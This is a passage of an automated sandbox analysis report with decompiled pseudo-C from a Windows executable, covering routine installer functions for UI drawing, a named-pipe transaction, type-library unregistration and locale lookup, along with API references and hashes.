							asm("adc eax, 0x0");
						}
						OffsetRect( &_v72, 0, _t279);
						_v36 = 0x40110;
						if( *(_v8 + 0x16c) == 0 ||  *((char*)(_t522 + 8)) == 0) {
							_v36 = _v36 | 0x00000800;
						}
						if((_v44 & 0x00000002) != 0) {
							_v36 = _v36 | 0x00100000;
						}
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xfc)))) + 0xc))();
						E0044C66C(_v124, _v36 | 0x00000400,  &_v72, 0, _t535);
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xfc)))) + 0xc))();
						E0044C66C(_v124, _v36,  &_v72,  *(_v8 + 0x16c) & _v13, _t535);
						if( *(_v8 + 0x16c) != 0 && _v13 == 0 && (_a4 & 0x00000001) != 0 && E0041817C(_v8) != 0 && (_v44 & 0x00000001) == 0) {
							memcpy( &_v120,  &_v72, 4 << 2);
							_t531 = _t531;
							InflateRect( &_v120, 1, 1);
							E0041ABC8(_t531,  &_v120);
						}
						SetTextColor(E0041B078(_t531), _v40);
						_pop(_t489);
						 *[fs:eax] = _t489;
						_push(0x44cd77);
						return E00403418( &_v124);
					}
					_t337 =  *((intOrPtr*)(_v8 + 0x158));
					_v72 = _v72 -  *(_v8 + 0x148) + _t337 + _t337;
					_v88.left = _t337 + _v72;
					_t339 = _v68;
					_t458 = _v8;
					_t502 = _v60 - _t339 -  *((intOrPtr*)(_v8 + 0x144));
					_t503 = _t502 >> 1;
					if(_t502 < 0) {
						asm("adc edx, 0x0");
					}
					_t504 = _t503 + _t339;
					_v88.top = _t504;
					_v88.bottom =  *((intOrPtr*)(_v8 + 0x144)) + _t504;
					_v88.right =  *(_v8 + 0x148) + _v88.left;
					if( *((intOrPtr*)(_v8 + 0x170)) != 0) {
						_v52 =  *0x0048E984;
						__eflags = _v13;
						if(__eflags == 0) {
							_t350 = _v8;
							__eflags =  *((intOrPtr*)(_t350 + 0x13c)) - _v12;
							if( *((intOrPtr*)(_t350 + 0x13c)) != _v12) {
								_t352 = _v8;
								__eflags =  *((intOrPtr*)(_t352 + 0x13c));
								if( *((intOrPtr*)(_t352 + 0x13c)) >= 0) {
									L59:
									__eflags = 0;
									_t452 =  *0x0048E990;
									L60:
									 *0x48f684( *((intOrPtr*)(_v8 + 0x170)), E0041B078(_t531), _v52, _t452,  &_v88,  &_v88);
									goto L61;
								}
								__eflags =  *((intOrPtr*)(_v8 + 0x178)) - _v12;
								if(__eflags != 0) {
									goto L59;
								}
								_t452 =  *0x0048E994;
								goto L60;
							}
							__eflags =  *((char*)(_v8 + 0x140));
							if(__eflags != 0) {
								L54:
								_t452 =  *0x0048E998;
								goto L60;
							}
							__eflags =  *((intOrPtr*)(_v8 + 0x150)) - _v12;
							if(__eflags != 0) {
								_t452 =  *((intOrPtr*)(0x48e994));
								goto L60;
							}
							goto L54;
						}
						_t452 =  *0x0048E99C;
						goto L60;
					} else {
						_t560 =  *((intOrPtr*)(_t522 + 0x10)) - 1;
						if(_t560 < 0) {
							_t453 =  *0x0048E978;
						} else {
							if(_t560 != 0) {
								_t453 = 0x408;
							} else {
								_t453 =  *0x0048E978 | 0x00000400;
							}
						}
						if( *((char*)(_v8 + 0x14d)) != 0) {
							_t453 = _t453 | 0x00004000;
						}
						if(_v13 != 0) {
							_t453 = _t453 | 0x00000100;
						}
						if( *((intOrPtr*)(_v8 + 0x13c)) == _v12 && ( *((char*)(_v8 + 0x140)) != 0 ||  *((intOrPtr*)(_v8 + 0x150)) == _v12)) {
							_t453 = _t453 | 0x00000200;
						}
						DrawFrameControl(E0041B078(_t531),  &_v88, 4, _t453);
						L61:
						_v72 =  *((intOrPtr*)(_v8 + 0x158)) + _v88.right;
						goto L62;
					}
				}
				E0041A4E4( *((intOrPtr*)(_t531 + 0x10)), 0x80000011, _t547);
				_v28 = E0044D2D0(_v8, _v12) & 0x000000ff;
				_t406 = _v28 - 1;
				if(_t406 >= 0) {
					_v56 = _t406 + 1;
					_t455 = 0;
					do {
						E0044D2C4(_v8);
						_t550 = _t455 - 0xff;
						if(_t550 <= 0) {
							asm("bt [eax+0x18], edx");
						}
						if(_t550 < 0) {
							_t411 =  *(_v8 + 0x148);
							_t511 = (_t411 +  *((intOrPtr*)(_v8 + 0x158)) +  *((intOrPtr*)(_v8 + 0x158))) * _t455;
							_t412 = _t411 >> 1;
							if(_t511 < 0) {
								asm("adc eax, 0x0");
							}
							_v20 = _t511 + _t412 +  *((intOrPtr*)(_v8 + 0x158));
							_t514 = _v60;
							_t414 = _v68;
							_t480 = _t514 - _t414;
							_t481 = _t480 >> 1;
							if(_t480 < 0) {
								asm("adc ecx, 0x0");
							}
							_t458 = _t481 + _t414;
							_v32 = _t481 + _t414;
							_v24 = _t514;
							if(_t455 == _v28 - 1) {
								_t554 =  *((char*)(E0044D2C4(_v8) + 7));
								if(_t554 != 0) {
									_v24 = _v32;
								}
								_push( *(_v8 + 0x104));
								_push(E0044C084);
								_push(_v32);
								_t431 =  *(_v8 + 0x148) >> 1;
								if(_t554 < 0) {
									asm("adc eax, 0x0");
								}
								LineDDA(_v20, _v32, _t431 + _v20 +  *((intOrPtr*)(_v8 + 0x158)), ??, ??, ??);
							}
							LineDDA(_v20, _v68, _v20, _v24, E0044C084,  *(_v8 + 0x104));
						}
						_t455 = _t455 + 1;
						_t75 =  &_v56;
						 *_t75 = _v56 - 1;
					} while ( *_t75 != 0);
				}
			}

0x0044c770
0x0044c771
0x0044c778
0x0044c77b
0x0044c788
0x0044c788
0x0044c788
0x0044c78a
0x0044c78d
0x0044c792
0x0044c793
0x0044c798
0x0044c79b
0x0044c7a8
0x0044c7b9
0x0044c7c1
0x0044c7c1
0x0044c7d3
0x0044c7dc
0x0044c7fa
0x0044c7fc
0x0044c7de
0x0044c7f5
0x0044c7f5
0x0044c806
0x0044c812
0x0044c80e
0x0044c80e
0x0044c80e
0x0044c814
0x0044c81a
0x0044c82a
0x0044c82c
0x0044c830
0x0044c83b
0x0044c83b
0x0044c830
0x0044c840
0x0044c843
0x0044c84a
0x0044c974
0x0044c978
0x0044cb5a
0x0044cb5f
0x0044cb64
0x0044cb74
0x0044cb7b
0x0044cba9
0x0044cbb0
0x0044cbbb
0x0044cbc9
0x0044cbc9
0x0044cb7d
0x0044cb87
0x0044cb91
0x0044cb9f
0x0044cb9f
0x0044cb87
0x0044cbce
0x0044cbd2
0x0044cc41
0x0044cc41
0x0044cc41
0x0044cbd4
0x0044cbeb
0x0044cbfb
0x0044cbfb
0x0044cbfd
0x0044cbfe
0x0044cc0e
0x0044cc2a
0x0044cc33
0x0044cc33
0x0044cc4e
0x0044cc50
0x0044cc50
0x0044cc59
0x0044cc5c
0x0044cc5e
0x0044cc60
0x0044cc60
0x0044cc6a
0x0044cc6f
0x0044cc80
0x0044cc88
0x0044cc88
0x0044cc93
0x0044cc95
0x0044cc95
0x0044ccb0
0x0044ccc2
0x0044cce7
0x0044ccf3
0x0044cd03
0x0044cd2f
0x0044cd31
0x0044cd3a
0x0044cd44
0x0044cd44
0x0044cd55
0x0044cd5c
0x0044cd5f
0x0044cd62
0x0044cd6f
0x0044cd6f
0x0044c98a
0x0044c996
0x0044c99c
0x0044c9a2
0x0044c9a7
0x0044c9aa
0x0044c9b0
0x0044c9b2
0x0044c9b4
0x0044c9b4
0x0044c9b7
0x0044c9b9
0x0044c9c7
0x0044c9d6
0x0044c9e3
0x0044ca8a
0x0044ca8d
0x0044ca91
0x0044caa6
0x0044caaf
0x0044cab2
0x0044caee
0x0044caf1
0x0044caf8
0x0044cb18
0x0044cb1d
0x0044cb1f
0x0044cb26
0x0044cb45
0x00000000
0x0044cb45
0x0044cb03
0x0044cb06
0x00000000
0x00000000
0x0044cb0f
0x00000000
0x0044cb0f
0x0044cab7
0x0044cabe
0x0044cace
0x0044cad5
0x00000000
0x0044cad5
0x0044cac9
0x0044cacc
0x0044cae5
0x00000000
0x0044cae5
0x00000000
0x0044cacc
0x0044ca9a
0x00000000
0x0044c9e9
0x0044c9ec
0x0044c9ee
0x0044ca0b
0x0044c9f0
0x0044c9f0
0x0044ca14
0x0044c9f2
0x0044c9fe
0x0044c9fe
0x0044c9f0
0x0044ca23
0x0044ca25
0x0044ca25
0x0044ca2f
0x0044ca31
0x0044ca31
0x0044ca43
0x0044ca5f
0x0044ca5f
0x0044ca74
0x0044cb4b
0x0044cb57
0x00000000
0x0044cb57
0x0044c9e3
0x0044c858
0x0044c86d
0x0044c873
0x0044c876
0x0044c87d
0x0044c880
0x0044c882
0x0044c888
0x0044c88f
0x0044c895
0x0044c897
0x0044c897
0x0044c89b
0x0044c8a4
0x0044c8b9
0x0044c8bc
0x0044c8be
0x0044c8c0
0x0044c8c0
0x0044c8ce
0x0044c8d1
0x0044c8d6
0x0044c8d9
0x0044c8db
0x0044c8dd
0x0044c8df
0x0044c8df
0x0044c8e2
0x0044c8e4
0x0044c8e7
0x0044c8f0
0x0044c8fd
0x0044c901
0x0044c906
0x0044c906
0x0044c912
0x0044c913
0x0044c91b
0x0044c925
0x0044c927
0x0044c929
0x0044c929
0x0044c941
0x0044c941
0x0044c965
0x0044c965
0x0044c96a
0x0044c96b
0x0044c96b
0x0044c96b
0x0044c882

APIs

SendMessageA.USER32(00000000,00000129,00000000,00000000), ref: 0044C7F0
LineDDA.GDI32(?,?,?,?,Function_0004C084,?), ref: 0044C941
LineDDA.GDI32(?,?,?,?,Function_0004C084,?), ref: 0044C965
DrawFrameControl.USER32 ref: 0044CA74

Part of subcall function 0041AC44: FillRect.USER32 ref: 0041AC6C

GetTextColor.GDI32(00000000), ref: 0044CB6F
GetSysColor.USER32(00000011), ref: 0044CB91
SetTextColor.GDI32(00000000,00000000), ref: 0044CB9F
SetTextColor.GDI32(00000000,00000000), ref: 0044CBC9
OffsetRect.USER32(00000000,00000000,?), ref: 0044CC6A
InflateRect.USER32(?,00000001,00000001), ref: 0044CD3A
SetTextColor.GDI32(00000000,?), ref: 0044CD55

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: Color$Text$Rect$Line$ControlDrawFillFrameInflateMessageOffsetSend
String ID:
API String ID: 3787931423-0
Opcode ID: 162f07869473a607e5fb27f2b863ca83b1d54f080d1e276273e9dbfa414abef9
Instruction ID: 07f26109c0428e62de09795ffaf3a322f28b5910d5ecb99aa3d1d16f18510276
Opcode Fuzzy Hash: 162f07869473a607e5fb27f2b863ca83b1d54f080d1e276273e9dbfa414abef9
Instruction Fuzzy Hash: 14125E74A01148EFEB41DBA9C9C5BEEBBF5AF08304F1841A9E544E7352D738AE41CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004566A0 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 127
pipeCOMMON

Download Yara Rule

C-Code - Quality: 56%

			E004566A0(intOrPtr __eax, void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, char _a4) {
				intOrPtr _v8;
				long _v12;
				void* _v16;
				struct _OVERLAPPED _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				long _t85;
				intOrPtr _t97;
				intOrPtr _t99;
				void* _t104;
				void* _t105;
				intOrPtr _t106;

				_t104 = _t105;
				_t106 = _t105 + 0xffffffd8;
				_v40 = 0;
				_v44 = 0;
				_v8 = __eax;
				_push(_t104);
				_push(0x4568e2);
				_push( *[fs:eax]);
				 *[fs:eax] = _t106;
				 *(_v8 + 0x14) =  *(_v8 + 0x14) + 1;
				 *(_v8 + 0x20) =  *(_v8 + 0x14);
				 *((intOrPtr*)(_v8 + 0x24)) = __edx;
				 *((intOrPtr*)(_v8 + 0x28)) = __ecx;
				_t85 = 0xc + __ecx;
				_push(_t104);
				_push(0x45687f);
				_push( *[fs:edx]);
				 *[fs:edx] = _t106;
				_v16 = CreateEventA(0, 1, 0, 0);
				if(_v16 == 0) {
					E00451868("CreateEvent");
				}
				_push(_t104);
				_push(0x456814);
				_push( *[fs:edx]);
				 *[fs:edx] = _t106;
				E00402934( &_v36, 0x14);
				_v36.hEvent = _v16;
				if(TransactNamedPipe( *(_v8 + 0xc), _v8 + 0x20, _t85, _v8 + 0x2034, 0x14,  &_v12,  &_v36) != 0) {
					_pop(_t97);
					 *[fs:eax] = _t97;
					_push(E0045681B);
					return CloseHandle(_v16);
				} else {
					if(GetLastError() != 0x3e5) {
						E00451868("TransactNamedPipe");
					}
					_push(_t104);
					_push(0x4567e6);
					_push( *[fs:edx]);
					 *[fs:edx] = _t106;
					if(_a4 != 0 &&  *((short*)(_v8 + 0x1a)) != 0) {
						do {
							 *((intOrPtr*)(_v8 + 0x18))();
						} while (MsgWaitForMultipleObjects(1,  &_v16, 0, 0xffffffff, 0xff) == 1);
					}
					_pop(_t99);
					 *[fs:eax] = _t99;
					_push(E004567ED);
					GetOverlappedResult( *(_v8 + 0xc),  &_v36,  &_v12, 1);
					return GetLastError();
				}
			}

0x004566a1
0x004566a3
0x004566ab
0x004566ae
0x004566b1
0x004566b6
0x004566b7
0x004566bc
0x004566bf
0x004566c5
0x004566d1
0x004566d7
0x004566dd
0x004566e5
0x004566e9
0x004566ea
0x004566ef
0x004566f2
0x00456702
0x00456709
0x00456710
0x00456710
0x00456717
0x00456718
0x0045671d
0x00456720
0x0045672d
0x00456735
0x00456761
0x004567ff
0x00456802
0x00456805
0x00456813
0x00456767
0x00456771
0x00456778
0x00456778
0x0045677f
0x00456780
0x00456785
0x00456788
0x0045678f
0x0045679b
0x004567a1
0x004567b8
0x0045679b
0x004567bd
0x004567c0
0x004567c3
0x004567d9
0x004567e5
0x004567e5

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,0045687F,?,00000000,004568E2,?,?,022F386C,00000000), ref: 004566FD
TransactNamedPipe.KERNEL32(?,-00000020,0000000C,-00002034,00000014,022F386C,?,00000000,00456814,?,00000000,00000001,00000000,00000000,00000000,0045687F), ref: 0045675A
GetLastError.KERNEL32(?,-00000020,0000000C,-00002034,00000014,022F386C,?,00000000,00456814,?,00000000,00000001,00000000,00000000,00000000,0045687F), ref: 00456767
MsgWaitForMultipleObjects.USER32 ref: 004567B3
GetOverlappedResult.KERNEL32(?,?,00000000,00000001,004567ED,?,-00000020,0000000C,-00002034,00000014,022F386C,?,00000000,00456814,?,00000000), ref: 004567D9
GetLastError.KERNEL32(?,?,00000000,00000001,004567ED,?,-00000020,0000000C,-00002034,00000014,022F386C,?,00000000,00456814,?,00000000), ref: 004567E0

Part of subcall function 00451868: GetLastError.KERNEL32(00000000,0045227D,00000005,00000000,004522B2,?,?,00000000,0048F628,00000004,00000000,00000000,00000000,?,0048D561,00000000), ref: 0045186B

Strings

TransactNamedPipe, xrefs: 00456773
CreateEvent, xrefs: 0045670B

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: ErrorLast$CreateEventMultipleNamedObjectsOverlappedPipeResultTransactWait
String ID: CreateEvent$TransactNamedPipe
API String ID: 2182916169-3012584893
Opcode ID: 4a82ce697d0539bbefcdabd0732c8e92a0b07cfb97317c98e7501ba084f8e754
Instruction ID: 4c7e41cf0d7ae5d30b25b1bdee82e35d5194eecc75d7c0d841924595a3a69980
Opcode Fuzzy Hash: 4a82ce697d0539bbefcdabd0732c8e92a0b07cfb97317c98e7501ba084f8e754
Instruction Fuzzy Hash: 9E417D74A00608EFDB15DF95C981F9EB7F8EB0C704F5180AAF904E7292D6789E44CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00454690 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 99
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00454690(void* __eax, void* __ebx, void* __edi, void* __esi) {
				intOrPtr _v8;
				void* _v12;
				char _v16;
				char _v20;
				intOrPtr _t28;
				intOrPtr* _t30;
				void* _t32;
				intOrPtr _t33;
				void* _t34;
				intOrPtr* _t37;
				intOrPtr* _t50;
				intOrPtr _t62;
				intOrPtr* _t67;
				void* _t69;
				void* _t71;
				void* _t72;
				intOrPtr _t73;

				_t71 = _t72;
				_t73 = _t72 + 0xfffffff0;
				_v20 = 0;
				_t69 = __eax;
				_push(_t71);
				_push(0x4547f5);
				_push( *[fs:eax]);
				 *[fs:eax] = _t73;
				_t67 = GetProcAddress(GetModuleHandleA("OLEAUT32.DLL"), "UnRegisterTypeLib");
				_t50 = _t67;
				if(_t67 == 0) {
					E00451868("GetProcAddress");
				}
				E0042C738(_t69,  &_v20);
				_v8 = E00403CBC(_v20);
				if(_v8 == 0) {
					E00408B98();
				}
				_push(_t71);
				_push(0x4547d8);
				_push( *[fs:edx]);
				 *[fs:edx] = _t73;
				_push( &_v12);
				_t28 = _v8;
				_push(_t28);
				L0042CB84();
				_t76 = _t28;
				if(_t28 != 0) {
					E0045187C("LoadTypeLib", _t50, _t28, _t67, _t69, _t76);
				}
				 *[fs:edx] = _t73;
				_t30 = _v12;
				_t32 =  *((intOrPtr*)( *_t30 + 0x1c))(_t30,  &_v16,  *[fs:edx], 0x4547ba, _t71);
				_t77 = _t32;
				if(_t32 != 0) {
					E0045187C("ITypeLib::GetLibAttr", _t50, _t32, _t67, _t69, _t77);
				}
				 *[fs:edx] = _t73;
				_t33 = _v16;
				_t34 =  *_t50(_t33,  *((intOrPtr*)(_t33 + 0x18)),  *((intOrPtr*)(_t33 + 0x1a)),  *((intOrPtr*)(_t33 + 0x10)),  *((intOrPtr*)(_t33 + 0x14)),  *[fs:edx], 0x45479c, _t71);
				_t78 = _t34;
				if(_t34 != 0) {
					E0045187C("UnRegisterTypeLib", _t50, _t34, _t67, _t69, _t78);
				}
				_pop(_t62);
				 *[fs:eax] = _t62;
				_t37 = _v12;
				return  *((intOrPtr*)( *_t37 + 0x30))(_t37, _v16, E004547A3);
			}

0x00454691
0x00454693
0x0045469b
0x0045469e
0x004546a2
0x004546a3
0x004546a8
0x004546ab
0x004546c3
0x004546c5
0x004546c9
0x004546d0
0x004546d0
0x004546da
0x004546e7
0x004546ee
0x004546f0
0x004546f0
0x004546f7
0x004546f8
0x004546fd
0x00454700
0x00454706
0x00454707
0x0045470a
0x0045470b
0x00454710
0x00454712
0x0045471b
0x0045471b
0x0045472b
0x00454732
0x00454738
0x0045473b
0x0045473d
0x00454746
0x00454746
0x00454756
0x00454759
0x0045476f
0x00454771
0x00454773
0x0045477c
0x0045477c
0x00454783
0x00454786
0x00454792
0x0045479b

APIs

GetModuleHandleA.KERNEL32(OLEAUT32.DLL,UnRegisterTypeLib,00000000,004547F5,?,?,?,?), ref: 004546B8
GetProcAddress.KERNEL32(00000000,OLEAUT32.DLL), ref: 004546BE
LoadTypeLib.OLEAUT32(00000000,?), ref: 0045470B

Part of subcall function 00451868: GetLastError.KERNEL32(00000000,0045227D,00000005,00000000,004522B2,?,?,00000000,0048F628,00000004,00000000,00000000,00000000,?,0048D561,00000000), ref: 0045186B

Strings

LoadTypeLib, xrefs: 00454716
GetProcAddress, xrefs: 004546CB
OLEAUT32.DLL, xrefs: 004546B3
UnRegisterTypeLib, xrefs: 00454777
UnRegisterTypeLib, xrefs: 004546AE
ITypeLib::GetLibAttr, xrefs: 00454741

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressErrorHandleLastLoadModuleProcType
String ID: GetProcAddress$ITypeLib::GetLibAttr$LoadTypeLib$OLEAUT32.DLL$UnRegisterTypeLib$UnRegisterTypeLib
API String ID: 1914119943-2711329623
Opcode ID: 68ac724e57732a5ef26bd804bd8fec2ee262df524cce4a19ad0659e599439987
Instruction ID: 78b55bfbedc7c5482babfabb83a62abfefd12265eb729d5917211dc13d959354
Opcode Fuzzy Hash: 68ac724e57732a5ef26bd804bd8fec2ee262df524cce4a19ad0659e599439987
Instruction Fuzzy Hash: B731C374A00604AFDB10EFAACC41E5B77BDEBCE7097118466F804DB662DB38D944C728

Uniqueness

Uniqueness Score: -1.00%

Function 0042E23C Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 86
registrylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E0042E23C(void* __ebx, void* __edi, void* __esi) {
				void* _v8;
				char _v12;
				char _v16;
				char _v20;
				intOrPtr* _t50;
				intOrPtr _t64;
				void* _t72;

				_v20 = 0;
				_v12 = 0;
				_push(_t72);
				_push(0x42e341);
				_push( *[fs:eax]);
				 *[fs:eax] = _t72 + 0xfffffff0;
				_t50 = GetProcAddress(GetModuleHandleA("kernel32.dll"), "GetUserDefaultUILanguage");
				if(_t50 == 0) {
					if( *0x48e0dc != 2) {
						if(E0042DC1C(0, "Control Panel\\Desktop\\ResourceLocale", 0x80000001,  &_v8, 1, 0) == 0) {
							E0042DB4C();
							RegCloseKey(_v8);
						}
					} else {
						if(E0042DC1C(0, ".DEFAULT\\Control Panel\\International", 0x80000003,  &_v8, 1, 0) == 0) {
							E0042DB4C();
							RegCloseKey(_v8);
						}
					}
					E004034AC( &_v20, 0x42e3e4);
					E00403594( &_v20, _v12);
					E004029D8(_v20,  &_v16);
					if(_v16 != 0) {
					}
				} else {
					 *_t50();
				}
				_pop(_t64);
				 *[fs:eax] = _t64;
				_push(E0042E348);
				E00403418( &_v20);
				return E00403418( &_v12);
			}

0x0042e247
0x0042e24a
0x0042e24f
0x0042e250
0x0042e255
0x0042e258
0x0042e270
0x0042e274
0x0042e286
0x0042e2db
0x0042e2e8
0x0042e2f1
0x0042e2f1
0x0042e288
0x0042e2a3
0x0042e2b0
0x0042e2b9
0x0042e2b9
0x0042e2a3
0x0042e2fe
0x0042e309
0x0042e314
0x0042e31f
0x0042e31f
0x0042e276
0x0042e276
0x0042e278
0x0042e325
0x0042e328
0x0042e32b
0x0042e333
0x0042e340

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,GetUserDefaultUILanguage,00000000,0042E341,?,?,00000000,00000000,0047776E,?,?,00000001,00000000,00000002,00000000,00477F42), ref: 0042E265
GetProcAddress.KERNEL32(00000000,kernel32.dll), ref: 0042E26B
RegCloseKey.ADVAPI32(?,?,00000001,00000000,00000000,kernel32.dll,GetUserDefaultUILanguage,00000000,0042E341,?,?,00000000,00000000,0047776E), ref: 0042E2B9

Strings

kernel32.dll, xrefs: 0042E260
GetUserDefaultUILanguage, xrefs: 0042E25B
.DEFAULT\Control Panel\International, xrefs: 0042E290
Locale, xrefs: 0042E2A8
Control Panel\Desktop\ResourceLocale, xrefs: 0042E2C8

Memory Dump Source

Source File: 00000001.00000002.340853565.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.340843243.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340934453.000000000048E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.340949028.000000000049F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-L5RJL.jbxd

Similarity

API ID: AddressCloseHandleModuleProc
String ID: .DEFAULT\Control Panel\International$Control Panel\Desktop\ResourceLocale$GetUserDefaultUILanguage$Locale$kernel32.dll
API String ID: 4190037839-2401316094
Opcode ID: 80775962ef1de1f04fba14ff90e9629bb3050df367ac85f2afa35f0094534904
Instruction ID: 80e2083dfbe67d1c7b43627eb169adc2d480171f24ca546da77c06970b05c30e
Opcode Fuzzy Hash: 80775962ef1de1f04fba14ff90e9629bb3050df367ac85f2afa35f0094534904
Instruction Fuzzy Hash: 1D215530B00229EBDB10EAA3DC51B9F77A8EB44315F90447BB501E7281DB7CDE019B58

Uniqueness

Uniqueness Score: -1.00%

Function 00416D64 Relevance: 15.2, APIs: 10, Instructions: 167
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00416D64(void* __eax, void* __ecx, struct HDC__* __edx) {
				struct tagRECT _v44;
				struct tagRECT _v60;
				void* _v68;
				int _v80;
				int _t77;
				int _t130;
				void* _t131;
				void* _t152;
				void* _t153;
				void* _t154;
				struct HDC__* _t155;

				_v60.right = __ecx;
				_t155 = __edx;
				_t152 = __eax;
				_t76 =  *((intOrPtr*)(__eax + 0xb0));
				if( *((intOrPtr*)(__eax + 0xb0)) == 0) {
					L13:
					_t77 =  *(_t152 + 0xb4);
					if(_t77 == 0) {
						L23:
						return _t77;
					}
					_t77 =  *((intOrPtr*)(_t77 + 8)) - 1;
					if(_t77 < 0) {
						goto L23;
					}
					_v44.right = _t77 + 1;
					_t153 = 0;
					do {
						_t77 = E0040B420( *(_t152 + 0xb4), _t153);
						_t130 = _t77;
						if( *((char*)(_t130 + 0xc5)) != 0 && ( *(_t130 + 0x34) & 0x00000010) != 0 && ( *((char*)(_t130 + 0x37)) != 0 || ( *(_t130 + 0x1c) & 0x00000010) != 0 && ( *(_t130 + 0x35) & 0x00000004) == 0)) {
							_v44.left = CreateSolidBrush(E0041A03C(0x80000010));
							E0040AC1C( *((intOrPtr*)(_t130 + 0x24)) - 1,  *((intOrPtr*)(_t130 + 0x24)) +  *((intOrPtr*)(_t130 + 0x2c)),  *((intOrPtr*)(_t130 + 0x28)) - 1,  &(_v44.right),  *((intOrPtr*)(_t130 + 0x28)) +  *((intOrPtr*)(_t130 + 0x30)));
							FrameRect(_t155,  &_v44, _v44);
							DeleteObject(_v60.right);
							_v60.left = CreateSolidBrush(E0041A03C(0x80000014));
							E0040AC1C( *((intOrPtr*)(_t130 + 0x24)),  *((intOrPtr*)(_t130 + 0x24)) +  *((intOrPtr*)(_t130 + 0x2c)) + 1,  *((intOrPtr*)(_t130 + 0x28)),  &(_v60.right),  *((intOrPtr*)(_t130 + 0x28)) +  *((intOrPtr*)(_t130 + 0x30)) + 1);
							FrameRect(_t155,  &_v60, _v60);
							_t77 = DeleteObject(_v68);
						}
						_t153 = _t153 + 1;
						_t73 =  &(_v44.right);
						 *_t73 = _v44.right - 1;
					} while ( *_t73 != 0);
					goto L23;
				}
				_t154 = 0;
				if(_v60.right != 0) {
					_t154 = E0040B468(_t76, _v60.right);
					if(_t154 < 0) {
						_t154 = 0;
					}
				}
				_v60.bottom =  *((intOrPtr*)( *((intOrPtr*)(_t152 + 0xb0)) + 8));
				if(_t154 >= _v60.bottom) {
					goto L13;
				} else {
					goto L5;
				}
				do {
					L5:
					_t131 = E0040B420( *((intOrPtr*)(_t152 + 0xb0)), _t154);
					if( *((char*)(_t131 + 0x37)) != 0 || ( *(_t131 + 0x1c) & 0x00000010) != 0 && ( *(_t131 + 0x35) & 0x00000004) == 0) {
						E0040AC1C( *((intOrPtr*)(_t131 + 0x24)),  *((intOrPtr*)(_t131 + 0x24)) +  *(_t131 + 0x2c),  *((intOrPtr*)(_t131 + 0x28)),  &(_v44.bottom),  *((intOrPtr*)(_t131 + 0x28)) +  *(_t131 + 0x30));
						if(RectVisible(_t155,  &(_v44.top)) != 0) {
							if(( *(_t152 + 0x36) & 0x00000080) != 0) {
								 *(_t131 + 0x36) =  *(_t131 + 0x36) | 0x00000080;
							}
							_v60.top = SaveDC(_t155);
							E0041419C(_t155,  *((intOrPtr*)(_t131 + 0x28)),  *((intOrPtr*)(_t131 + 0x24)));
							IntersectClipRect(_t155, 0, 0,  *(_t131 + 0x2c),  *(_t131 + 0x30));
							E00415224(_t131, _t155, 0xf, 0);
							RestoreDC(_t155, _v80);
							 *(_t131 + 0x36) =  *(_t131 + 0x36) & 0x0000007f;
						}
					}
					_t154 = _t154 + 1;
				} while (_t154 < _v60.top);
				goto L13;
			}

0x00416d6b
0x00416d6e
0x00416d70
0x00416d72
0x00416d7a
0x00416e5d
0x00416e5d
0x00416e65
0x00416f6a
0x00416f6a
0x00416f6a
0x00416e6e
0x00416e71
0x00000000
0x00000000
0x00416e78
0x00416e7c
0x00416e7e
0x00416e86
0x00416e8b
0x00416e94
0x00416ece
0x00416ef1
0x00416efc
0x00416f06
0x00416f1b
0x00416f3e
0x00416f49
0x00416f53
0x00416f53
0x00416f58
0x00416f59
0x00416f59
0x00416f59
0x00000000
0x00416e7e
0x00416d80
0x00416d86
0x00416d90
0x00416d94
0x00416d96
0x00416d96
0x00416d94
0x00416da1
0x00416da9
0x00000000
0x00000000
0x00000000
0x00000000
0x00416daf
0x00416daf
0x00416dbc
0x00416dc2
0x00416dec
0x00416dfe
0x00416e04
0x00416e06
0x00416e06
0x00416e10
0x00416e1c
0x00416e2e
0x00416e3e
0x00416e49
